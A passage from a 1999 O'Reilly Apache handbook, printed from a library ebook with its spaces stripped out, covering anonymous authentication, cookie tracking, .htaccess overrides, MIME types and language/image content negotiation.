youmakeachangethroughoutthisexercise).Ifyouaccessthesalespeople'ssiteagainwiththeuserIDguest,anonymous,orairhead,andanypasswordyoulike
(fffor23orrubbish),youwillgetaccess.Itseemsrathersilly,butyoumustgiveapasswordofsomesort.
Set:
Anonymous_NoUserIDon
ThistimeyoucanleaveboththeIDandpasswordfieldsempty.Ifyouenteravalidusername(bill,ben,sonia,orgloria),youmustfollowthroughwithavalid
password.
Set:
Anonymous_NoUserIDoff
Anonymous_VerifyEmailon
Anonymous_LogEmailon
TheeffecthereisthattheuserIDhastolooksomethinglikeanemailaddress,with(accordingtothedocumentation)atleastone"@"andone".".However,we
foundthatone"."orone"@"woulddo.Emailisloggedintheerrorlog,nottheaccesslogasyoumightexpect.
Set:
Anonymous_VerifyEmailoff
Anonymous_LogEmailoff
Anonymous_Authoritativeon
Theeffecthereisthatifanaccessattemptfails,itisnotnowpassedontotheothermethods.Uptonowwehavealwaysbeenabletoenterasbill,password
theft,butnomore.ChangetheAnonymoussectiontolooklikethis:
Anonymous_Authoritativeoff
Anonymous_MustGiveEmailon
Finally:
Anonymousguestanonymousairhead
Anonymous_NoUserIDoff
Anonymous_VerifyEmailoff
Anonymous_Authoritativeoff
Anonymous_LogEmailon
Anonymous_MustGiveEmailon
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page124
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
ThedocumentationsaysthatAnonymous_MustGiveEmailforcestheusertogivesomesortofpassword.Infact,itseemstohavethesameeffectas
VerifyEmail:A"."or"@"willdo.
Access.conf
Inthefirsteditionofthisbookwesaidthatifyouwroteyourhttpd.conffileasshownearlier,butalsocreated/conf/access.confcontainingdirectivesasinnocuous
as:
<Directory/usr/www/site.anon/htdocs/salesmen>
</Directory>
securityinthesalespeople'ssitewoulddisappear.ThisbugseemstohavebeenfixedinApachev1.3.
AutomaticUserInformation
Thisisallgreatfun,butwearetryingtorunabusinesshere.Oursalespeoplearelogginginbecausetheywanttoplaceorders,andweoughttobeabletodetectwho
theyaresowecansendthegoodstothemautomatically.Thiscanbedone,andwewilllookathowtodoitinamoment.Justforthesakeofcompleteness,we
shouldnoteafewextradirectiveshere.
IdentityCheck
IdentityCheck[on|off]
Thiscausestheservertoattempttoidentifytheclient'suserbyqueryingtheidentddaemonoftheclienthost.(SeeRFC1413fordetails,buttheshortexplanationis
thatidentdwill,whengivenasocketnumber,revealwhichusercreatedthatsocketthatis,theusernameoftheclientonhishomemachine.)Ifsuccessful,theuser
IDisloggedintheaccesslog.However,astheApachemanualausterelyremarks,youshould"nottrustthisinformationinanywayexceptforrudimentaryusage
tracking."Furthermore(orperhaps,furtherless),thisextraloggingslowsApachedown,andmanymachinesdonotrunanidentddaemon,oriftheydo,theyprevent
externalaccesstoit.Eveniftheclient'smachineisrunningidentd,theinformationitprovidesisentirelyunderthecontroloftheremotemachine.Soyoumaythinkit
notworththetroubletouseIdentityCheck.
Cookies
Anotherwayofkeepingtrackofaccessesisthroughacookie,anumbertheserverinventsforeachrequestingentityandreturnswiththeresponse.Theclientthen
sendsitbackoneachsubsequentrequesttothesameserver,sothatwecandis
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page125
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
tinguishbetweenonepersonwhoaccessesussixtimesandsixpeoplewhoaccessusonceeachfromthesamehost.Noteverybrowserdoesthis,butNetscape
does.Thisaddsgranularitytothedatabykeepingtracknotjustofsitesthataccessus,butofindividualusers.Thereisabackwardcompatibilityproblem:shouldwe
usetwodigitorfourdigitdatesforcookies?Thisnote,fromChristianAllen(christian@sane.com)appearsintheApachedocumentation:
Subject:Re:ApacheY2Kbuginmod_usertrack.c
Date:Tue,30Jun199811:41:560400
Didsomeworkwithcookiesanddugupsomeinfothatmightbeuseful.True,NetscapeclaimsthatthecorrectformatNOWisfourdigitdates,andfourdigit
datesdoinfactworkforNetscape4.x(Communicator),thatis.However,3.xandbelowdoNOTacceptthem.ItseemsthatNetscapeoriginallyhada2
digitstandard,andthenwithalloftheY2Khypeandprobablyafewcomplaints,changedtoafourdigitdateforCommunicator.
Fortunately,4.xalsounderstandsthe2digitformat,andsothebestwaytoensurethatyourexpirationdateislegibletotheclient'sbrowseristouse2digit
dates.However,thisdoesnotlimitexpirationdatestotheyear2000ifyouuseanexpirationyearof"13",forexample,itisinterpretedas2013,NOT1913!In
fact,youcanuseanexpirationyearofupto"37",anditwillbeunderstoodas"2037''bybothMSIEandNetscapeversions3.xandup(notsureaboutversions
previoustothose).NotsurewhyNetscapeusedthatparticularyearasitscutoffpoint,butmyguessisthatitwasinrespecttoUNIX's2038problem.
Netscape/MSIE4.xseemtobeabletounderstand2digityearsbeyondthat,atleastuntil"50"forsure(Ithinktheyunderstandupuntilabout"70",butnotfor
sure).
Summary:Mozilla3.xandupunderstandstwodigitdatesupuntil"37"(2037).Mozilla4.xunderstandsupuntilatleast"50"(2050)in2digitform,butalso
understands4digityears,whichcanprobablyreachupuntil9999.Yourbestbetforsendingalonglifecookieistosenditforsometimelateintheyear"37".
CookieLog
CookieLogComponent
Serverconfig,virtualhost
CookieLogsetsaComponentrelativetotheserverrootforafileinwhichtologthecookies.ItismoreusualtoconfigureafieldwithLogFormatandcatchthe
cookiesinthecentrallog(see"LoggingtheAction"inChapter11).
CookieTracking
CookieTracking[on|off]
Serverconfig,virtualhost,directory,.htaccess
IftheusertrackingmoduleiscompiledinandCookieTrackingonisset,Apachewillstartsendingausertrackingcookieforallrequests.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page126
CookieExpires
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
CookieExpiresexpiryperiod
Serverconfig,virtualhost
Thisdirectivesetsanexpirationtimeonthecookie.Withoutit,thecookiehasnoexpirationdatenotevenaveryfarawayoneTheexpiryperiodcanbe
givenasanumberofseconds,orinaformatsuchas2weeks3days7hours.Validtimeperiodsare:
years
months
weeks
hours
minutes
Addthefollowinglines:
<VirtualHost"target="_BLANK">www.butterthlies.com>
CookieTrackingon
CookieLog/logs/customers/cookies
Ifthesamepersonaccessesusfourtimes,weseethefollowing:
192217840356872314"GET/HTTP/1.0"[18/Aug/1996:08:28:28+0000]304
192217840356872314"GET/HTTP/1.0"[18/Aug/1996:08:28:30+0000]304
192217840356872314"GET/HTTP/1.0"[18/Aug/1996:08:28:31+0000]304
192217840356872314"GET/HTTP/1.0"[18/Aug/1996:08:28:32+0000]304
Using.htaccessFiles
Weexperimentedwithputtingconfigurationdirectivesinafilecalled/htdocs/.htaccessratherthaninhttpd.conf.Itworked,buthowdoyoudecidewhethertodo
thingsthiswayratherthantheother?
Thepointofthe.htaccessmechanismisthatyoucanchangeconfigurationdirectiveswithouthavingtorestarttheserver.Thisisespeciallyvaluableonasitewherea
lotofpeoplearemaintainingtheirownhomepagesbutarenotauthorizedtobringtheserverdownor,indeed,tomodifyitsConfigfiles.Thedrawbackto
the.htaccessmethodisthatthefilesareparsedforeachaccesstotheserver,ratherthanjustonceatstartup,sothereisasubstantialperformancepenalty.
Thehttpd.conf(from/site.htaccess)filecontainsthefollowing:
Userwebuser
Groupwebgroup
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page127
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
ServerNamewww.butterthlies.com
AccessComponent.myaccess
ServerAdminsales@butterthlies.com
DocumentRoot/usr/www/site.htaccess/htdocs/customers
ErrorLog/usr/www/site.htaccess/logs/customers/error_log
TransferLog/usr/www/site.htaccess/logs/customers/access_log
ScriptAlias/cgibin/usr/www/cgibin
<VirtualHostsales.butterthlies.com>
ServerAdminsales_mgr@butterthlies.com
DocumentRoot/usr/www/site.htaccess/htdocs/salesmen
ServerNamesales.butterthlies.com
ErrorLog/usr/www/site.htaccess/logs/salesmen/error_log
TransferLog/usr/www/site.htaccess/logs/salesmen/access_log
ScriptAlias/cgibin/usr/www/cgibin
#<Directory/usr/www/site.htaccess/htdocs/salesmen>
#AuthTypeBasic
#AuthNamedarkness
#AuthUserFile/usr/www/ok_users/sales
#AuthGroupFile/usr/www/ok_users/groups
#requirevaliduser
#requiregroupcleaners
#</Directory>
<Directory/usr/www/cgibin>
AuthTypeBasic
AuthNamedarkness
AuthUserFile/usr/www/ok_users/sales
AuthGroupFile/usr/www/ok_users/groups
#eitherflatfilesaboveorDBMbelow
#AuthDBMUserFile/usr/www/ok_dbm/sales
#AuthDBMGroupFile/usr/www/ok_dbm/groups
</Directory>
</VirtualHost>
Noticethatthesecuritypartofthesalespeople'ssectionhasbeencommentedoutin/httpd.conf.Thefollowinglines,whichwerepartofit,arefoundin
/htdocs/salesmen/.myaccess:
AuthTypeBasic
AuthNamedarkness
AuthUserFile/usr/www/ok_users/sales
AuthGroupFile/usr/www/ok_users/groups
#requirevaliduser
requiregroupcleaners
Ifyourunthesitewith./goandaccesshttp://sales.butterthlies.com/,youareaskedforanIDandapasswordintheusualway.Youhadbetterbedaphneor
soniaifyouwanttogetin,becauseonlymembersofthegroupcleanersareallowed.Ithastobesaid,though,thatNetscapegotintoatremendousmuddle
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page128
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
overpasswords,andtheonlyreliablewaytomakesurethatitwasreallydoingwhatitclaimedwastoexitandreloaditbeforeeachtest.
Now,ifbywayofplayfulness,werename/htdocs/salesmen/.myaccessto.noaccessandretry,withoutrestartingApache,weshouldfindthatpasswordcontrol
hasdisappeared.ThismakesthepointthatApacheparsesthisfileeachtimethedirectoryisaccessed,notjustatstartup.
Ifyoudecidetogothisroute,thereareanumberofthingsthatcanbedonetomakethewaysmoother.Forexample,thenameofthecontrolfilecanbechanged(as
wedidearlier)withtheAccessComponentdirectiveinthefilehttpd.conf.
AccessComponent
AccessComponentComponent,Component
Serverconfig,virtualhost
AccessComponentgivesauthoritytothefilesspecified.Includethefollowinglineinhttpd.conf:
AccessComponent.myaccess1,myaccess2
RestartApache(sincetheAccessComponenthastobereadatstartup)andthenrestartyourbrowsertogetridofpasswordcaching.Whenyoureaccessthe
site,passwordcontrolhasreappeared.
YoumightexpectthatyoucouldlimitAccessComponentto.myaccessinsomeparticulardirectory,butnotelsewhere.Youcan'titisglobal(well,moreglobal
thanperdirectory).Tryediting/conf/httpd.conftoread:
<Directory/usr/www/site.htaccess/htdocs/salesmen>
AccessComponent.myaccess
</Directory>
Apachecomplains:
Syntaxerroronline2of/usr/www/conf/srm.conf:AccessComponentnotallowed
here
Aswehavesaid,thisfileisfoundandparsedoneachaccess,andthistakestime.Whenaclientrequestsaccesstoa
file/usr/www/site.htaccess/htdocs/salesmen/index.html,Apachesearchesforthefollowing:
/.myaccess
/usr/.myaccess
/usr/www/.myaccess
/usr/www/site.htaccess/.myaccess
/usr/www/site.htaccess/htdocs/.myaccess
/usr/www/site.htaccess/htdocs/salesmen/.myaccess
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page129
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Thismultiplesearchalsoslowsbusinessdown.Youcanturnmultiplesearchingoff,andmakeanoticeabledifferencetoApache'sspeed,withthefollowingdirective:
<Directory/>
AllowOverridenone
</Directory>
Itisimportanttounderstandthat"/"meansthereal,rootdirectory(becausethatiswhereApachestartssearching)andnottheURL.
Overrides
WecandomorewithoverridesthanspeedApacheup.Thismechanismallowsthewebmastertoexertfinercontroloverwhatisdonein.htaccessfiles.Thekey
directiveisAllowOverride.
AllowOverride
AllowOverrideoverride1override2
Directory
ThisdirectivetellsApachewhichdirectivesinan.htaccessfilecanoverrideearlierdirectives.ThelistofAllowOverrideoverridesisasfollows:
AuthConfig
AllowsindividualsettingsofAuthDBMGroupFile,AuthDBMUserFile,AuthGroupFile,AuthName,AuthType,AuthUserFile,and
require
AuthUserFile
AllowsAuthName,AuthType,andrequire
FileInfo
AllowsAddType,AddEncoding,andAddLanguage
Indexes
AllowsFancyIndexing,AddIcon,AddDescription(seeChapter7,Indexing)
Limit
CanlimitaccessbasedonhostnameorIPnumber
Options
AllowstheuseoftheOptionsdirective(seeChapter4,CommonGatewayInterface(CGI))
All
Alloftheabove
None
Noneoftheabove
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page130
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Youmightask:ifnoneswitchesmultiplesearchesoff,whichoftheaboveoptionsswitchesiton?Theanswerisanyofthem,orthecompleteabsenceof
AllowOverride.Inotherwords,itisonbydefault.
Toillustratehowthisworks,lookat/site.override,whichis/site.htaccesswiththeauthenticationdirectivesonthesalespeople'sdirectorybackinagain.We
havealso,tomakeavisibledifference,commentedout:
requiregroupcleaners
anduncommented:
#requirevaliduser
TheConfigfileisasfollows:
Userwebuser
Groupwebgroup
ServerNamewww.butterthlies.com
AccessComponent.myaccess
ServerAdminsales@butterthlies.com
DocumentRoot/usr/www/site.htaccess/htdocs/customers
ErrorLog/usr/www/site.htaccess/logs/customers/error_log
TransferLog/usr/www/site.htaccess/logs/customers/access_log
ScriptAlias/cgibin/usr/www/cgibin
<VirtualHostsales.butterthlies.com>
ServerAdminsales_mgr@butterthlies.com
DocumentRoot/usr/www/site.htaccess/htdocs/salesmen
ServerNamesales.butterthlies.com
ErrorLog/usr/www/site.htaccess/logs/salesmen/error_log
TransferLog/usr/www/site.htaccess/logs/salesmen/access_log
ScriptAlias/cgibin/usr/www/cgibin
<Directory/usr/www/site.htaccess/htdocs/salesmen>
AuthTypeBasic
AuthNamedarkness
AuthUserFile/usr/www/ok_users/sales
AuthGroupFile/usr/www/ok_users/groups
requirevaliduser
#requiregroupcleaners
</Directory>
<Directory/usr/www/cgibin>
AuthTypeBasic
AuthNamedarkness
AuthUserFile/usr/www/ok_users/sales
AuthGroupFile/usr/www/ok_users/groups
#AuthDBMUserFile/usr/www/ok_dbm/sales
#AuthDBMGroupFile/usr/www/ok_dbm/groups
</Directory>
</VirtualHost>
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page131
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Accesstothesalespeople'ssiteisnowrestrictedtobill,ben,sonia,anddaphne,andtheyneedtogiveapassword.Ifyouremember,the.myaccessfileof
/site.htaccesshadthefollowinglines:
requiregroupcleaners
#requirevaliduser
Asthingsstandin/site.override,theConfigfilewillprevailandanyvaliduser,suchasbill,cangetaccess.Ifweinserttheline:
AllowOverrideAuthconfig
intheDirectoryblock,httpd.confallowsanyvaliduseraccesstothesalespeople'sdirectory,but.myaccessrestrictsitfurthertomembersofthegroup
cleaners.
Ascanbeseen,AllowOverridemakesitpossibleforindividualdirectoriestobepreciselytailored.Itserveslittlepurposetogivemoreexamplesbecausethey
allworkthesameway.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page132
6
MIME,ContentandLanguageNegotiation
Apachehastheabilitytotuneitsreturnstotheabilitiesoftheclientandeventoimprovetheclient'sefforts.Currently,thisaffects:
ThechoiceofMIMEtypereturned.Thisisoftenusedforimages,whichmightbetheveryoldfashionedbitmap,theoldfashioned.gif,orthemoremodernand
smaller.jpg.Apache'sreactionscanbeextendedandcontrolledwithanumberofdirectives.
Thelanguageofthereturnedfile.
Updatestothereturnedfile.
Thespellingoftheclient'srequests.
MIMETypes
MIMEstandsforMultimediaInternetMailExtensions.Thecodeusedhereisinmod_mime.candiscompiledinbydefault.ItallowsApachetodeterminethetypeof
afilefromitsextension.ThelistofMIMEtypesthatApachealreadyknowsaboutisdistributedinthefile..conf/mime.typesorcanbefoundat
http://www.isi.edu/innotes/iana/assignments/mediatypes/mediatypes.Youcaneditittoincludeextratypes,oryoucanusethedirectivesdiscussedinthis
chapter.Thedefaultlocationforthefileis+>/<site>/conf,butitmaybemoreconvenienttokeepitelsewhere,inwhichcaseyouwouldusethedirective
TypesConfig.
ChangingtheencodingofafilewithoneofthesedirectivesdoesnotchangethevalueoftheLastModifiedheader,socachedcopiescanbeused.Filescan
havemorethanoneextension,andtheirordernormallydoesn'tmatter.Iftheextension.itlmapsontoItalianand.htmlmapsontoHTML,thenthefilestext.itl.html
andtext.html.itlwillbetreatedalike.However,anyunrecognized
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page133
extension,say.xyz,wipesoutallextensionstoitsleft.Hencetext.itl.xyz.htmlwillbetreatedasHTMLbutnotasItalian.
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
TypesConfig
TypesConfigComponent
Default:conf/mime.types
Serverconfig
ThisdirectivesetsthepathandComponenttofindthemime.typesfileifitisn'tinthedefaultposition.
AddType
AddTypemimetypeextensionextension
Anywhere
Thisaddsextensionstocorrespondtoacontenttype.ItmaynotbeobvioushowAddTypediffersfromAddEncoding:acontenttypeis"whatitis"andan
encodingis"howitgetsthere."HTMLandGIFarecontenttypesbase64andZIPareencodings.
Longago,aprocesscalled"magicMIMEtypes"wasusedtofiddleextracapabilityintoApachebyusingAddType.AddTypeshouldnowonlybeusedfor
genuineMIMEtypes.
DefaultType
DefaultTypemimetype
Anywhere
Theservermustinformtheclientofthecontenttypeofthedocument,sointheeventofanunknowntypeituseswhateverisspecifiedbytheDefaultType
directive.Forexample:
DefaultTypeimage/gif
wouldbeappropriateforadirectorythatcontainedmanyGIFimageswithfilenamesmissingthe.gifextension.
AddEncoding
AddEncodingmimeencextensionextension
Anywhere
Thisdirectiveaddsnewtypesofencodingtothelist.Hence:
AddEncodingxgzipzip
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page134
willcauseApachetosendxgzipastheencodingforfileswiththeextension.zipsothatafilestuff.zipwillautomaticallybeunzippedasitisserved. For
compatibilitywitholderbrowsers,theprefixXisspeciallyhandled,sothatXgzipisfunctionallythesameasgzip.Thisisbecausethebrowsercansaywhatit
ispreparedtohandlewithanAcceptEncodingheader.Ifitsaysgzip,thenApachewillsendgzip,evenifyou'vesetXgzipsimilarly,ifitsaysX
gzip,thensowillApache.Butifthebrowsersaysnothing,Apachewillsaywhateveryouset,soyou'dbettersettheoldform(Xgzip)sincethebrowsermay
alsobeold.
ForceType
ForceTypemediatype
Directory,.htaccess
Givenadirectoryfulloffilesofaparticulartype,ForceTypewillcausethemtobesentasmediatype.Forinstance,youmighthaveacollectionof.giffilesin
thedirectory/gifdir,butyoudon'twantthemtohavethatextension.YouwouldincludesomethinglikethisinyourConfigfile:
<Directory<path>/gifdir>
ForceTypeimage/gif
</Directory>
ContentNegotiation
TheremaybedifferentwaystohandlethedatathatApachereturns,andtherearetwoequivalentwaysofimplementingthisfunctionality.Themultiviewsmethodis
simpler(andmorelimited)thanthe .varmethod,soweshallstartwithit.TheConfigfile(from+>/site.multiview)lookslikethis:
Userwebuser
Groupwebgroup
ServerNamewww.butterthlies.com
DocumentRoot/usr/www/site.multiview/htdocs
ScriptAlias/cgibin/usr/www/cgibin
AddLanguageit.it
AddLanguageen.en
AddLanguageko.ko
LanguagePriorityitenko
<Directory/usr/www/site.multiview/htdocs>
Options+MultiViews
</Directory>
Forhistoricalreasons,youhavetosay:
Options+MultiViews
Notethatbrowsersupportforthisusefulfacilityispatchyatbest,so,asthesayinggoes,YMMV(yourmileagemayvary).
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page135
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
eventhoughyoumightreasonablythinkthatOptionsAllwouldcoverthecase.Thegeneralideaisthatwheneveryouwanttooffervariantsonafile(e.g.,JPG,
GIF,orbitmapforimages,ordifferentlanguagesfortext),multiviewswillhandleit.
ImageNegotiation
ImagenegotiationisaspecialcornerofgeneralcontentnegotiationbecausetheWebhasaproblemwithimagefiles:forinstance,somebrowserscancopewithPNG
filesandsomecan't,andthelatterhavetobesentthesimpler,moreoldfashioned,andbulkierGIFfiles.Theclient'sbrowsersendsamessagetotheservertellingit
whichimagefilesitaccepts:
HTTP_ACCEPT=image/gif,image/xxbitmap,image/jpeg,image/pjpeg, /
Theserverthenlooksforanappropriatefileandreturnsit.Wecandemonstratetheeffectbyeditingour/htdocs/catalog_summer.htmlfiletoremovethe.jpg
extensionsontheimagefiles.Theappropriatelinesnowlooklikethis:
<imgsrc="bench"alt="PictureofaBench">
<imgsrc="hen"alt="Pictureofahencooplikeapagoda">
WhenApachehasthemultiViewsoptionturnedonandisaskedforanimagecalledbench,itlooksforthesmallerofbench.jpgandbench.gifassumingthe
client'sbrowseracceptsboth,ofcourseandreturnsit.
LanguageNegotiation
Thesameusefulfunctionalityalsoappliestolanguage.Todemonstratethisweneedtomakeup.htmlscriptsindifferentlanguages.Well,wewon'tbotherwithreal
differentlanguageswe'lljusteditthescriptstosay,forexample:
<h1>ItalianVersion</h1>
andedittheEnglishversionsothatitincludesanewline:
<h1>EnglishVersion</h1>
Thenwegiveeachfileanappropriateextension:
index.html.enforEnglish
index.html.itforItalian
index.html.koforKorean
Apacher+ecognizeslanguagevariants:enUSisseenasaversionofgeneralEnglish,en,whichseemsreasonable.Youcanalsoofferdocumentsthatservemorethan
onelanguage.Ifyouhada''franglais"version,youcouldserveitto
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page136
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
bothEnglishspeakersandFrancophonesbynamingitfrangdoc.en.fr.Ofcourse,inreallifeyouwouldhavetogotosubstantiallymoretrouble,whatwithtranslators
andspecialkeyboardsandall.Also,theItalianversionoftheindexwouldneedtopointtoItalianversionsofthecatalogs.ButinthefantasyworldofButterthlies,Inc.,
it'sallsosimple.
TheItalianversionofourindexwouldbeindex.html.it.Thisistrueoffilesingeneral,butit'snecessarytobeawareofsomeindexsubtleties.Bydefault,Apache
looksforafilecalledindex.html.<something>.Ifithasalanguageextension,likeindex.html.it,itwillfindtheindexfile,happilyaddthelanguageextension,and
thenserveupwhatthebrowserprefers.If,however,youcalltheindexfileindex.it.html,Apachewillstilllookfor,andfailtofind,index.html.<something>.If
index.html.enispresent,thatwillbeservedup.Ifindex.en.htmlisthere,thenApachegivesupandservesupalistofallthefiles.Themoralis,ifyouwanttodeal
withindexComponentsineitherorderindex.it.htmlalongsideindex.html.enyouneedthedirective:
DirectoryIndexindex
tomakeApachelookforafilecalledindex.<something>ratherthanthedefaultindex.html.<something>.
Anyway,togiveApachetheidea,wehavetohavethecorrespondinglinesinthehttpd.conffile:
AddLanguageit.it
AddLanguageen.en
AddLanguageko.ko
thebrowserwillgetItalian.
LanguagePriority
LanguagePriorityMIMElangMIMElang
Serverconfig,virtualhost,directory,.htaccess
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page137
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
TheLanguagePrioritydirectivesetstheprecedenceoflanguagevariantsforthecaseinwhichtheclientdoesnotexpressapreference,whenhandlinga
multiviewsrequest.TheMIMElanglistisinorderofdecreasingpreference.Forexample:
LanguagePriorityenfrde
Forarequestforfoo.html,wherefoo.html.frandfoo.html.debothexisted,butthebrowserdidnotexpressalanguagepreference,foo.html.frwouldbereturned.
Notethatthisdirectiveonlyhasaneffectifa"best"languagecannotbedeterminedbyanyothermeans.CorrectlyimplementedHTTP/1.1requestswillmeanthatthis
directivehasnoeffect.
Howdoesthisallwork?HarkbacktotheenvironmentvariablesinChapter4,CommonGatewayInterface(CGI).Amongthemwerethefollowing:
HTTP_ACCEPT=image/gif,image/Xbitmap,image/jpeg,image/pjpeg, /
HTTP_ACCEPT_LANGUAGE=it
Apacheusesthisinformationtoworkoutwhatitcanacceptablysendbackfromthechoicesatitsdisposal.
TypeMaps
Inthelastsection,welookedatmultiviewsasawayofprovidinglanguageandimagenegotiation.Theotherwaytoachievethesameeffectsinthecurrentreleaseof
Apache,andmorelavisheffectslater(probablytonegotiatebrowserplugins),istousetypemaps,alsoknownas .varfiles.Multiviewsworksbyscrambling
togetheravanillatypemapnowyouhavethechancetosetitupjustasyouwantit.TheConfigfileisasfollows:
Userwebuser
Groupwebgroup
ServerNamewww.butterthlies.com
DocumentRoot/usr/www/site.typemap/htdocs
AddHandlertypemapvar
DirectoryIndexindex.var
AccessConfig/dev/null
ResourceConfig/dev/null
Oneshouldwrite,asseeninthisfile:
AddHandlertypemapvar
Havingsetthat,wecansensiblysay:
DirectoryIndexindex.var
tosetupasetoflanguagespecificindexes.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page138
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Whatthismeans,inplainerEnglish,isthattheDirectoryIndexlineoverridesthedefaultindexfileindex.html.Ifyoualsowantindex.htmltobeusedasan
alternative,youwouldhavetospecifyitbutyouprobablydon't,becauseyouaretryingtodosomethingmoreelaboratehere.Inthiscasethereareseveralversions
oftheindex:index.en.html,index.it.html,index.ko.html,soApachelooksforindex.varforanexplanation.
Lookat+>/site.typemap/htdocs.Wewanttoofferlanguagespecificversionsoftheindex.htmlfileandalternativestothegeneralizedimagesbath,hen,tree,
andbench,sowecreatetwofiles,index.varandbench.var(wewillonlybotherwithoneoftheimages,sincetheothersarethesame).
Thisisindex.var:
#ItseemsthatthisURI_must_betheComponentminustheextension
URI:indexvary="language"
URI:index.en.html
#Seemswe_must_havetheContenttypeoritdoesn'twork
Contenttype:text/html
Contentlanguage:en
URI:index.it.html
Contenttype:text/html
Contentlanguage:it
Thisisbench.var:
URI:benchvary="type"
URI:bench.jpg
Contenttype:image/jpegqs=0.8level=3
URI:bench.gif
Contenttype:image/gifqs=0.5level=1
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page139
Theqsnumbersarequalityscores,from0to1.Youdecidewhattheyareandwritethemin.Theqsvaluesforeachtypeofreturnaremultipliedtogivetheoverall
qsforeachvariant.Forinstance,ifavarianthasaqsof.5forContenttypeandaqsof.7forContentlanguage,itsoverallqsis.35.Thehigher
theresult,thebetter.Thelevelvaluesarealsonumbers,andyoudecidewhattheyare.InorderforApachetodeciderationallywhichpossibilitytoreturn,it
resolvestiesinthefollowingway:
1.Findthebest(highest)qs.
